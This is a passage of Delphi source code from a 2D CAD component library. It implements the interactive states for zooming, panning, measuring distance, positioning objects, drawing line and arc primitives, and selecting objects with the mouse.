function TCADPrgDragSelectArea.OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton;
Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean;
begin
Result := inherited OnEvent(Event, MouseButton, Shift, Key, NextState);
if not Assigned(Param) then
Exit;
with Param as TCADPrgSelectAreaParam, CADPrg do
case Event of
ceUserDefined:
if Key = CADPRG_CANCEL then
begin
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
end;
ceMouseDown: if MouseButton = cmbLeft then begin
if Assigned(AfterState) then
NextState := AfterState
else
NextState := DefaultState;
Result := True;
end;
ceMouseMove: begin
if Viewport is TCADViewport2D then
TCADViewport2D(Viewport).DrawObject2DWithRubber(fFrame, False);
fFrame.Points[1] := CurrentViewportPoint;
if Viewport is TCADViewport2D then
TCADViewport2D(Viewport).DrawObject2DWithRubber(fFrame, False);
end;
cePaint:
if Viewport is TCADViewport2D then
TCADViewport2D(Viewport).DrawObject2DWithRubber(fFrame, False);
end;
end;
procedure TCADPrgDragSelectArea.OnStop;
begin
Param.Free;
Param := nil;
end;
{ ******************* Zooming states *********************** }
constructor TCADPrgZoomState.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
begin
inherited Create(CADPrg, StateParam, NextState);
CanBeSuspended := False;
end;
{ ------------------ Zoom Area --------------------- }
{ No parameter. }
constructor TCADPrgZoomArea.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
begin
inherited Create(CADPrg, StateParam, NextState);
Param := TCADPrgSelectAreaParam.Create(TCADPrgEndZoomArea, StateParam);
NextState := TCADPrgSelectArea;
end;
constructor TCADPrgEndZoomArea.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
begin
inherited Create(CADPrg, StateParam, NextState);
if Assigned(Param) then
with CADPrg as TCADPrg, Param as TCADPrgSelectAreaParam do
begin
if not IsSamePoint2D(Area.FirstEdge, Area.SecondEdge) then
Viewport.ZoomWindow(Area);
if (CallerParam is TCADPrgZoomParam) and
Assigned(TCADPrgParam(CallerParam).AfterState) then
NextState := TCADPrgParam(CallerParam).AfterState
else
NextState := CADPrg.DefaultState;
Param.Free;
Param := nil;
end;
end;
{ ------------------ ZoomInOut --------------------- }
constructor TCADPrgZoomInOut.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
begin
inherited Create(CADPrg, StateParam, NextState);
Description := 'Select the center of the zoom. (Hold Shift key for zoom out)'
end;
{ No parameter. }
function TCADPrgZoomInOut.OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean;
var
CurrPoint: TPoint2D;
begin
Result := inherited OnEvent(Event, MouseButton, Shift, Key, NextState);
with CADPrg as TCADPrg do
case Event of
ceUserDefined:
if Key = CADPRG_CANCEL then
begin
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
end;
ceMouseDown:
begin
CurrPoint := CurrentViewportPoint;
with Viewport do begin
PanWindow(CurrPoint.X - (VisualRect.Right + VisualRect.Left) / 2.0,
CurrPoint.Y - (VisualRect.Bottom + VisualRect.Top) / 2.0);
if (ssShift in Shift) then begin
Cursor := crZoomOut;
Viewport.ZoomOut;
end else if (Shift = [ssLeft]) then begin
Cursor := crZoomIn;
Viewport.ZoomIn;
end;
end;
end;
end;
end;
constructor TCADPrgRealZoom.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
begin
inherited Create(CADPrg, StateParam, NextState);
Description := 'With pressed left button : muving Up/Down = +/- magnification'
end;
{ No parameter. }
function TCADPrgRealZoom.OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean;
var cPos : TPoint;
cp : TPoint2d;
dy : integer;
begin
Result := inherited OnEvent(Event, MouseButton, Shift, Key, NextState);
with CADPrg as TCADPrg do
case Event of
ceUserDefined:
if Key = CADPRG_CANCEL then
begin
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
end;
ceMouseDown:
begin
CP := CurrentViewportPoint;
if Shift = [ssRight] then
with Viewport do
PanWindow(CP.X - (VisualRect.Right + VisualRect.Left) / 2.0,
CP.Y - (VisualRect.Bottom + VisualRect.Top) / 2.0);
GetCursorPos(CurrPoint);
end;
ceMouseMove: begin
with Viewport do
if Shift = [ssLeft] then begin
GetCursorPos(cPos);
dy := cPos.y-CurrPoint.y;
If dy<>0 then begin
If dy<0 then ZoomInExt(32);
If dy>0 then ZoomOutExt(32);
CurrPoint := cPos;
end;
end;
end;
end;
end;
constructor TCADPrgDistance.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
begin
inherited Create(CADPrg, StateParam, NextState);
with CADPrg as TCADPrg do
if Viewport is TCADViewport2D then
Hint1:=THintWindow.Create(Viewport);
UserObject := TLine2D.Create(0, Point2D(0, 0), Point2D(0, 0));
Description := 'Select the start point of the pan.';
First := True;
end;
function TCADPrgDistance.OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean;
var cPos : TPoint2d;
d,dx,dy : extended;
HintRect : TRect;
p : TPoint;
x,y : integer;
s: string;
begin
Result := inherited OnEvent(Event, MouseButton, Shift, Key, NextState);
with CADPrg as TCADPrg do
case Event of
ceUserDefined:
if Key = CADPRG_CANCEL then
begin
TLine2D(UserObject).Free;
Hint1.Free;
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
end;
ceMouseDown:
If First then begin
CurrPoint := CurrentViewportPoint;
TLine2D(UserObject).Points[0] := CurrPoint;
TLine2D(UserObject).Points[1] := CurrPoint;
First := False;
end else begin
Hint1.ReleaseHandle;
First := True;
end;
ceMouseMove: begin
with Viewport do
If not First then begin
if Viewport is TCADViewport2D then
TCADViewport2D(Viewport).DrawObject2DWithRubber(TLine2D(UserObject), False);
cPos := CurrentViewportPoint;
dx := cPos.x-CurrPoint.x;
dy := cPos.y-CurrPoint.y;
d := sqrt(dx*dx+dy*dy);
TLine2D(UserObject).Points[1] := cPos;
if Viewport is TCADViewport2D then begin
TCADViewport2D(Viewport).DrawObject2DWithRubber(TLine2D(UserObject), False);
s:=Format('%6.3f',[d]);
x := trunc(ViewportToScreen(cPos).x);
y := Trunc(ViewportToScreen(cPos).y);
p := ClientToScreen(point(x,y));
HintRect:=Rect(p.x,p.y,p.x+74,p.y+16);
If dx>=0 then OffsetRect(HintRect,18,0)
else OffsetRect(HintRect,-90,0);
If dy>=0 then OffsetRect(HintRect,0,-20)
else OffsetRect(HintRect,0,4);
Hint1.ActivateHint(HintRect,s);
end;
end;
end;
end;
end;
destructor TCADPrgDistance.Destroy;
begin
Hint1.Free;
inherited;
end;
{ ------------------ Pan --------------------- }
{ No parameter. }
constructor TCADPrgPan.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
begin
inherited Create(CADPrg, StateParam, NextState);
Param := TCADPrgParam.Create(StateParam.AfterState);
Param.UserObject := TLine2D.Create(0, Point2D(0, 0), Point2D(0, 0));
Description := 'Select the start point of the pan.'
end;
function TCADPrgPan.OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean;
var
CurrPoint: TPoint2D;
begin
Result := inherited OnEvent(Event, MouseButton, Shift, Key, NextState);
if not Assigned(Param) then
Exit;
with TCADPrgParam(Param), CADPrg as TCADPrg do
case Event of
ceUserDefined:
if Key = CADPRG_CANCEL then
begin
TLine2D(UserObject).Free;
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
end;
ceMouseDown: if MouseButton = cmbLeft then
begin
CurrPoint := CurrentViewportPoint;
TLine2D(UserObject).Points[0] := CurrPoint;
TLine2D(UserObject).Points[1] := CurrPoint;
if Viewport is TCADViewport2D then
TCADViewport2D(Viewport).DrawObject2DWithRubber(TLine2D(UserObject), False);
NextState := TCADPrgDragPan;
Result := True;
end;
end;
end;
procedure TCADPrgPan.OnStop;
begin
TCADPrgParam(Param).UserObject.Free;
Param.Free;
Param := nil;
end;
constructor TCADPrgDragPan.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
begin
inherited Create(CADPrg, StateParam, NextState);
Description := 'Select the end point of the pan.'
end;
function TCADPrgDragPan.OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean;
var
CurrPoint: TPoint2D;
begin
Result := inherited OnEvent(Event, MouseButton, Shift, Key, NextState);
if not Assigned(Param) then
Exit;
with TCADPrgParam(Param), CADPrg as TCADPrg do
case Event of
ceUserDefined:
if Key = CADPRG_CANCEL then
begin
TLine2D(UserObject).Free;
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
end;
ceMouseDown: if MouseButton = cmbLeft then
with TLine2D(UserObject) do
begin
IgnoreEvents := True;
try
if not IsSamePoint2D(Box.FirstEdge, Box.SecondEdge) then
Viewport.PanWindow(Points[0].X - Points[1].X, Points[0].Y - Points[1].Y);
finally
IgnoreEvents := False;
end;
if Assigned(AfterState) then
NextState := AfterState
else
NextState := DefaultState;
Free;
Param.Free;
Param := nil;
Result := True;
end;
ceMouseMove: begin
if Viewport is TCADViewport2D then
TCADViewport2D(Viewport).DrawObject2DWithRubber(TLine2D(UserObject), False);
CurrPoint := CurrentViewportPoint;
TLine2D(UserObject).Points[1] := CurrPoint;
if Viewport is TCADViewport2D then
TCADViewport2D(Viewport).DrawObject2DWithRubber(TLine2D(UserObject), False);
end;
cePaint:
if Viewport is TCADViewport2D then
TCADViewport2D(Viewport).DrawObject2DWithRubber(TLine2D(UserObject), False);
end;
end;
procedure TCADPrgDragPan.OnStop;
begin
TCADPrgParam(Param).UserObject.Free;
Param.Free;
Param := nil;
end;
{ ------------------ RealTimePan --------------------- }
{ No parameter. }
constructor TCADPrgRealTimePan.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
begin
inherited Create(CADPrg, StateParam, NextState);
Description := 'Old the mouse and move it to pan.';
fInPanning := False;
fOriginalRect := CADPrg.Viewport.VisualRect;
end;
function TCADPrgRealTimePan.OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean;
var
ScrPt, CurrPoint: TPoint2D;
TmpDist, RefDist: TRealType;
begin
Result := inherited OnEvent(Event, MouseButton, Shift, Key, NextState);
with CADPrg as TCADPrg do
case Event of
ceUserDefined:
if Key = CADPRG_CANCEL then
begin
NextState := DefaultState;
Result := True;
Viewport.ZoomWindow(fOriginalRect);
end
else if Key = CADPRG_ACCEPT then
begin
if (Param is TCADPrgZoomParam) and Assigned(TCADPrgParam(Param).AfterState) then
NextState := TCADPrgParam(Param).AfterState
else
NextState := DefaultState;
RepaintAfterOperation;
Result := True;
end;
ceMouseDown: if MouseButton = cmbLeft then
begin
fInPanning := True;
fLastPoint := CurrentViewportPoint;
if MouseButton = cmbRight then
begin
NextState := DefaultState;
Result := True;
end;
end;
ceMouseDblClick,
ceMouseUp: if MouseButton = cmbLeft then
begin
if Viewport.UsePaintingThread then
Viewport.Repaint
else
Viewport.Refresh;
fInPanning := False;
end;
ceMouseMove: if fInPanning then
begin
Viewport.StopRepaint;
CurrPoint := CurrentViewportPoint;
TmpDist := PointDistance2D(CurrPoint, fLastPoint);
RefDist := PointDistance2D(Viewport.VisualRect.FirstEdge, Viewport.VisualRect.SecondEdge);
if (TmpDist < RefDist * 0.0001) or (TmpDist > RefDist * 2) then
begin
fLastPoint := CurrPoint;
Exit;
end;
ScrPt := Viewport.ViewportToScreen(CurrPoint);
Viewport.PanWindow(fLastPoint.X - CurrPoint.X, fLastPoint.Y - CurrPoint.Y);
fLastPoint := Viewport.ScreenToViewport(ScrPt);
end;
end;
end;
// -----===== Starting Cs4CADPrgTasks2D.pas =====-----
{ ******************* Drawing tasks *********************** }
constructor TCAD2DPositionObjectParam.Create(AfterS: TCADStateClass; O: TObject2D);
begin
inherited Create(AfterS);
fObject := O;
end;
constructor TCAD2DDrawUnSizedPrimitiveParam.Create(AfterS: TCADStateClass; Primitive: TPrimitive2D; StartPointIdx: Integer; OrtoIsU: Boolean);
begin
inherited Create(AfterS);
fPrimObject := Primitive;
fCurrPoint := StartPointIdx;
fOrtoIsUsable := OrtoIsU;
end;
procedure TCAD2DDrawUnSizedPrimitiveParam.DrawOSD(Viewport: TCADViewport2D);
begin
Viewport.DrawObject2DWithRubber(fPrimObject, True);
end;
constructor TCAD2DDrawSizedPrimitiveParam.Create(AfterS: TCADStateClass; Primitive: TPrimitive2D; StartPointIdx: Integer; OrtoIsU: Boolean);
begin
inherited Create(AfterS, Primitive, StartPointIdx, OrtoIsU);
fnPoints := Primitive.Points.Count;
end;
{ ------------- }
constructor TCAD2DPositionObject.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
begin
inherited Create(CADPrg, StateParam, NextState);
if not (StateParam is TCAD2DPositionObjectParam) then
Raise ECADSysException.Create('TCAD2DPositionObject: Invalid param');
Description := 'Press the mouse on the desired insertion point.';
TCADPrg2D(CADPrg).SnapOriginPoint := Point2D(MaxCoord, MaxCoord);
end;
function TCAD2DPositionObject.OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean;
var
CurrPoint2D: TPoint2D;
TmpBool: Boolean;
begin
Result := inherited OnEvent(Event, MouseButton, Shift, Key, NextState);
if not Assigned(Param) then
Exit;
with CADPrg as TCADPrg2D, Param as TCAD2DPositionObjectParam do
case Event of
ceUserDefined:
if Key = CADPRG_CANCEL then
begin
fObject.Free;
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
end;
ceMouseDown: if MouseButton = cmbLeft then begin
if Assigned(AfterState) then
begin
NextState := AfterState;
Result := True;
Exit;
end;
IgnoreEvents := True;
TmpBool := Viewport2D.CADCmp2D.DrawOnAdd;
Viewport2D.CADCmp2D.DrawOnAdd := True;
try
Viewport2D.CADCmp2D.AddObject(fObject.ID, fObject);
finally
Viewport2D.CADCmp2D.DrawOnAdd := TmpBool;
IgnoreEvents := False;
end;
fObject.UpdateExtension(Self);
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
Exit;
end;
ceMouseMove: begin
CurrPoint2D := CurrentViewportSnappedPoint;
if not IsSameTransform2D(fObject.ModelTransform, IdentityTransf2D) then
Viewport2D.DrawObject2DWithRubber(fObject, True);
fObject.MoveTo(CurrPoint2D, fObject.Box.FirstEdge);
Viewport2D.DrawObject2DWithRubber(fObject, True);
end;
cePaint: if not IsSameTransform2D(fObject.ModelTransform, IdentityTransf2D) then
Viewport2D.DrawObject2DWithRubber(fObject, True);
end;
end;
procedure TCAD2DPositionObject.OnStop;
begin
TCAD2DPositionObjectParam(Param).fObject.Free;
Param.Free;
Param := nil;
end;
{ ------------- }
constructor TCAD2DDrawSizedPrimitive.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
begin
inherited Create(CADPrg, StateParam, NextState);
if not (StateParam is TCAD2DDrawSizedPrimitiveParam) then
Raise ECADSysException.Create('TCAD2DDrawSizedPrimitive: Invalid param');
Description := 'Press the mouse on the desired points.';
TCADPrg2D(CADPrg).SnapOriginPoint := Point2D(MaxCoord, MaxCoord);
end;
function TCAD2DDrawSizedPrimitive.OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean;
var
CurrPoint2D: TPoint2D;
Cont: Integer;
TmpBool: Boolean;
begin
Result := inherited OnEvent(Event, MouseButton, Shift, Key, NextState);
if not Assigned(Param) then
Exit;
with CADPrg as TCADPrg2D, Param as TCAD2DDrawSizedPrimitiveParam do
case Event of
ceUserDefined:
if Key = CADPRG_ACCEPT then
begin
if Assigned(AfterState) then
begin
NextState := AfterState;
Result := True;
Exit;
end;
IgnoreEvents := True;
TmpBool := Viewport2D.CADCmp2D.DrawOnAdd;
Viewport2D.CADCmp2D.DrawOnAdd := True;
try
Viewport2D.CADCmp2D.AddObject(fPrimObject.ID, fPrimObject);
finally
Viewport2D.CADCmp2D.DrawOnAdd := TmpBool;
IgnoreEvents := False;
end;
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
end
else if Key = CADPRG_CANCEL then
begin
fPrimObject.Free;
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
end;
ceMouseDown: if MouseButton = cmbLeft then begin
DrawOSD(Viewport2D);
CurrPoint2D := fPrimObject.WorldToObject(CurrentViewportSnappedPoint);
SnapOriginPoint := CurrentViewportSnappedPoint;
if fCurrPoint = 0 then
for Cont := 0 to fnPoints - 1 do
fPrimObject.Points[Cont] := CurrPoint2D
else
begin
if fOrtoIsUsable and UseOrto then
MakeOrto2D(fPrimObject.Points[fCurrPoint - 1], CurrPoint2D);
fPrimObject.Points[fCurrPoint] := CurrPoint2D;
end;
Inc(fCurrPoint);
if fCurrPoint = fnPoints then
begin
if Assigned(AfterState) then
begin
NextState := AfterState;
Result := True;
Exit;
end;
IgnoreEvents := True;
TmpBool := Viewport2D.CADCmp2D.DrawOnAdd;
Viewport2D.CADCmp2D.DrawOnAdd := True;
try
Viewport2D.CADCmp2D.AddObject(fPrimObject.ID, fPrimObject);
finally
Viewport2D.CADCmp2D.DrawOnAdd := TmpBool;
IgnoreEvents := False;
end;
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
Exit;
end
else
fPrimObject.Points[fCurrPoint] := CurrPoint2D;
DrawOSD(Viewport2D);
end;
ceMouseMove: if fCurrPoint > 0 then begin
CurrPoint2D := fPrimObject.WorldToObject(CurrentViewportSnappedPoint);
if fOrtoIsUsable and UseOrto then
MakeOrto2D(fPrimObject.Points[fCurrPoint - 1], CurrPoint2D);
DrawOSD(Viewport2D);
fPrimObject.Points[fCurrPoint] := CurrPoint2D;
DrawOSD(Viewport2D);
end;
cePaint: DrawOSD(Viewport2D);
end;
end;
procedure TCAD2DDrawSizedPrimitive.OnStop;
begin
TCAD2DDrawSizedPrimitiveParam(Param).fPrimObject.Free;
Param.Free;
Param := nil;
end;
{ ------------- }
constructor TCAD2DDrawUnSizedPrimitive.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
begin
inherited Create(CADPrg, StateParam, NextState);
if not (StateParam is TCAD2DDrawUnSizedPrimitiveParam) then
Raise ECADSysException.Create('TCAD2DDrawUnSizedPrimitive: Invalid param');
TCAD2DDrawUnSizedPrimitiveParam(StateParam).fPrimObject.Points.Clear;
Description := 'Press the mouse on the desired points.';
TCADPrg2D(CADPrg).SnapOriginPoint := Point2D(MaxCoord, MaxCoord);
end;
function TCAD2DDrawUnSizedPrimitive.OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean;
var
CurrPoint2D: TPoint2D;
TmpBool: Boolean;
begin
Result := inherited OnEvent(Event, MouseButton, Shift, Key, NextState);
if not Assigned(Param) then
Exit;
with CADPrg as TCADPrg2D, Param as TCAD2DDrawUnSizedPrimitiveParam do
case Event of
ceUserDefined:
if Key = CADPRG_ACCEPT then
begin
if Assigned(AfterState) then
begin
NextState := AfterState;
Result := True;
Exit;
end;
IgnoreEvents := True;
TmpBool := Viewport2D.CADCmp2D.DrawOnAdd;
Viewport2D.CADCmp2D.DrawOnAdd := True;
try
Viewport2D.CADCmp2D.AddObject(fPrimObject.ID, fPrimObject);
finally
Viewport2D.CADCmp2D.DrawOnAdd := TmpBool;
IgnoreEvents := False;
end;
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
end
else if Key = CADPRG_CANCEL then
begin
fPrimObject.Free;
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
end;
ceMouseDown:
Case MouseButton of
cmbLeft :
begin
DrawOSD(Viewport2D);
CurrPoint2D := fPrimObject.WorldToObject(CurrentViewportSnappedPoint);
SnapOriginPoint := CurrentViewportSnappedPoint;
if fCurrPoint = 0 then
fPrimObject.Points.Add(CurrPoint2D)
else
begin
if fOrtoIsUsable and UseOrto then
MakeOrto2D(fPrimObject.Points[fCurrPoint - 1], CurrPoint2D);
fPrimObject.Points[fCurrPoint] := CurrPoint2D;
end;
if (fCurrPoint = 0) or not IsSamePoint2D(CurrPoint2D, fPrimObject.Points[fCurrPoint - 1]) then
Inc(fCurrPoint);
fPrimObject.Points[fCurrPoint] := CurrPoint2D;
DrawOSD(Viewport2D);
end;
cmbRight :
begin
fPrimObject.Points.Delete(fCurrPoint);
SendUserEvent(CADPRG_ACCEPT);
end;
end;
ceMouseMove: if fCurrPoint > 0 then begin
CurrPoint2D := fPrimObject.WorldToObject(CurrentViewportSnappedPoint);
if fOrtoIsUsable and UseOrto then
MakeOrto2D(fPrimObject.Points[fCurrPoint - 1], CurrPoint2D);
DrawOSD(Viewport2D);
fPrimObject.Points[fCurrPoint] := CurrPoint2D;
DrawOSD(Viewport2D);
end;
cePaint: DrawOSD(Viewport2D);
end;
end;
procedure TCAD2DDrawUnSizedPrimitive.OnStop;
begin
TCAD2DDrawUnSizedPrimitiveParam(Param).fPrimObject.Free;
Param.Free;
Param := nil;
end;
{ ------------- }
constructor TCAD2DDrawArcPrimitiveParam.Create(AfterS: TCADStateClass; Arc: TArc2D);
begin
inherited Create(AfterS);
fArcObject := Arc;
end;
constructor TCAD2DDrawArcPrimitive.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
begin
inherited;
if not (StateParam is TCAD2DDrawArcPrimitiveParam) then
Raise ECADSysException.Create('TCAD2DDrawArcPrimitive: Invalid param');
Description := 'Drag the ellipse which contain the arc.';
TCADPrg2D(CADPrg).SnapOriginPoint := Point2D(MaxCoord, MaxCoord);
end;
function TCAD2DDrawArcPrimitive.OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean;
var
CurrPoint2D: TPoint2D;
TmpBool: Boolean;
begin
Result := inherited OnEvent(Event, MouseButton, Shift, Key, NextState);
if not Assigned(Param) then
Exit;
with CADPrg as TCADPrg2D, Param as TCAD2DDrawArcPrimitiveParam do
case Event of
ceUserDefined:
if Key = CADPRG_ACCEPT then
begin
if Assigned(AfterState) then
begin
NextState := AfterState;
Result := True;
Exit;
end;
IgnoreEvents := True;
TmpBool := Viewport2D.CADCmp2D.DrawOnAdd;
Viewport2D.CADCmp2D.DrawOnAdd := True;
try
Viewport2D.CADCmp2D.AddObject(fArcObject.ID, fArcObject);
finally
Viewport2D.CADCmp2D.DrawOnAdd := TmpBool;
IgnoreEvents := False;
end;
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
end
else if Key = CADPRG_CANCEL then
begin
fArcObject.Free;
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
end;
ceMouseDown: if MouseButton = cmbLeft then begin
Viewport2D.DrawObject2DWithRubber(fArcObject, True);
CurrPoint2D := fArcObject.WorldToObject(CurrentViewportSnappedPoint);
SnapOriginPoint := CurrentViewportSnappedPoint;
fArcObject.Points[fCurrPoint] := CurrPoint2D;
Inc(fCurrPoint);
if fCurrPoint = 4 then
begin
if Assigned(AfterState) then
begin
NextState := AfterState;
Result := True;
Exit;
end;
TmpBool := Viewport2D.CADCmp2D.DrawOnAdd;
Viewport2D.CADCmp2D.DrawOnAdd := True;
IgnoreEvents := True;
try
Viewport2D.CADCmp2D.AddObject(fArcObject.ID, fArcObject);
finally
Viewport2D.CADCmp2D.DrawOnAdd := TmpBool;
IgnoreEvents := False;
end;
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
Exit;
end
else if fCurrPoint = 0 then
begin
fArcObject.Points[0] := CurrPoint2D;
fArcObject.Points[1] := CurrPoint2D;
fArcObject.Points[2] := CurrPoint2D;
fArcObject.Points[3] := CurrPoint2D;
end
else if fCurrPoint = 2 then
begin
fArcObject.StartAngle := 0;
fArcObject.EndAngle := 0;
Description := 'Select the start and end angle of the arc.'
end;
fArcObject.Points[fCurrPoint] := CurrPoint2D;
Viewport2D.DrawObject2DWithRubber(fArcObject, True);
end;
ceMouseMove: if fCurrPoint > 0 then begin
CurrPoint2D := fArcObject.WorldToObject(CurrentViewportSnappedPoint);
Viewport2D.DrawObject2DWithRubber(fArcObject, True);
fArcObject.Points[fCurrPoint] := CurrPoint2D;
Viewport2D.DrawObject2DWithRubber(fArcObject, True);
end;
cePaint: Viewport2D.DrawObject2DWithRubber(fArcObject, True);
end;
end;
procedure TCAD2DDrawArcPrimitive.OnStop;
begin
TCAD2DDrawArcPrimitiveParam(Param).fArcObject.Free;
Param.Free;
Param := nil;
end;
{ ******************* Editing tasks *********************** }
constructor TCAD2DSelectObjectsParam.Create(ApertureSize: Word; const AfterS: TCADStateClass);
begin
inherited Create(AfterS);
fApertureSize := ApertureSize;
fSelectedObjs := TGraphicObjList.Create;
fSelectedObjs.FreeOnClear := False;
fSelectionFilter := TObject2D;
fEndWithMouseDown := False;
fEndIfNoObject := False;
end;
destructor TCAD2DSelectObjectsParam.Destroy;
begin
fSelectedObjs.Free;
inherited;
end;
procedure TCAD2DSelectObjectsParam.DrawOSD(Viewport: TCADViewport2D; const Pt: TPoint2D);
var
ScrPt: TPoint;
begin
with Viewport do
begin
ScrPt := Point2DToPoint(ViewportToScreen(Pt));
OnScreenCanvas.Canvas.Pen.Assign(Viewport.RubberPen);
OnScreenCanvas.Canvas.Pen.Style := psSolid;
OnScreenCanvas.Canvas.Polyline([Point(ScrPt.X - fApertureSize, ScrPt.Y - fApertureSize),
Point(ScrPt.X + fApertureSize, ScrPt.Y - fApertureSize),
Point(ScrPt.X + fApertureSize, ScrPt.Y + fApertureSize),
Point(ScrPt.X - fApertureSize, ScrPt.Y + fApertureSize),
Point(ScrPt.X - fApertureSize, ScrPt.Y - fApertureSize)]);
end;
end;
constructor TCAD2DSelectObject.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
begin
inherited;
if not (StateParam is TCAD2DSelectObjectsParam) then
Raise ECADSysException.Create('TCAD2DSelectObject: Invalid param');
Description := 'Use the mouse to select an object.';
with TCAD2DSelectObjectsParam(StateParam) do
DrawOSD(TCADPrg2D(CADPrg).Viewport2D, fLastPt);
end;
function TCAD2DSelectObject.OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean;
var
TmpObj: TObject2D;
begin
Result := inherited OnEvent(Event, MouseButton, Shift, Key, NextState);
if not Assigned(Param) then
Exit;
with CADPrg as TCADPrg2D, Param as TCAD2DSelectObjectsParam do
case Event of
ceUserDefined:
if Key = CADPRG_CANCEL then
begin
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
end;
ceMouseDown: if fEndWithMouseDown and (MouseButton = cmbLeft) then begin
TmpObj := Viewport2D.PickObject(CurrentViewportPoint, fApertureSize, False, fLastSelectedCtrlPoint);
if (fLastSelectedCtrlPoint > PICK_INBBOX) and Assigned(TmpObj) and (TmpObj is fSelectionFilter) then
begin
fSelectedObjs.Add(TmpObj);
IgnoreEvents := True;
try
if Assigned(fOnSelected) then
fOnSelected(TCAD2DSelectObjectsParam(Param), TmpObj, fLastSelectedCtrlPoint, True);
Viewport2D.Refresh;
finally
IgnoreEvents := False;
end;
if Assigned(AfterState) then
NextState := AfterState
else
begin
Param.Free;
Param := nil;
NextState := DefaultState;
end;
Result := True;
Exit;
end;
end;
ceMouseUp: if MouseButton = cmbLeft then begin
TmpObj := Viewport2D.PickObject(CurrentViewportPoint, fApertureSize, False, fLastSelectedCtrlPoint);
if (fLastSelectedCtrlPoint > PICK_INBBOX) and Assigned(TmpObj) and (TmpObj is fSelectionFilter) then
begin
fSelectedObjs.Add(TmpObj);
IgnoreEvents := True;
try
if Assigned(fOnSelected) then
fOnSelected(TCAD2DSelectObjectsParam(Param), TmpObj, fLastSelectedCtrlPoint, True);
Viewport2D.Refresh;
finally
IgnoreEvents := False;
end;
if Assigned(AfterState) then
NextState := AfterState
else
begin
Param.Free;
Param := nil;
NextState := DefaultState;
end;
Result := True;
end;
end;
ceMouseMove: begin
DrawOSD(Viewport2D, fLastPt);
fLastPt := CurrentViewportPoint;
DrawOSD(Viewport2D, fLastPt);
end;
cePaint: DrawOSD(Viewport2D, fLastPt);
end;
end;
procedure TCAD2DSelectObject.OnStop;
begin
Param.Free;
Param := nil;
end;
constructor TCAD2DSelectObjects.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
begin
inherited;
if not (StateParam is TCAD2DSelectObjectsParam) then
Raise ECADSysException.Create('TCAD2DSelectObjects: Invalid param');
Description := 'Use the mouse to select objects.';
with TCAD2DSelectObjectsParam(StateParam) do
DrawOSD(TCADPrg2D(CADPrg).Viewport2D, fLastPt);
end;
function TCAD2DSelectObjects.OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean;
var
TmpObj: TObject2D;
TmpExIter: TExclusiveGraphicObjIterator;
TmpIter: TGraphicObjIterator;
Removed: Boolean;
begin
Result := inherited OnEvent(Event, MouseButton, Shift, Key, NextState);
if not Assigned(Param) then
Exit;
with CADPrg as TCADPrg2D, Param as TCAD2DSelectObjectsParam do
case Event of
ceUserDefined:
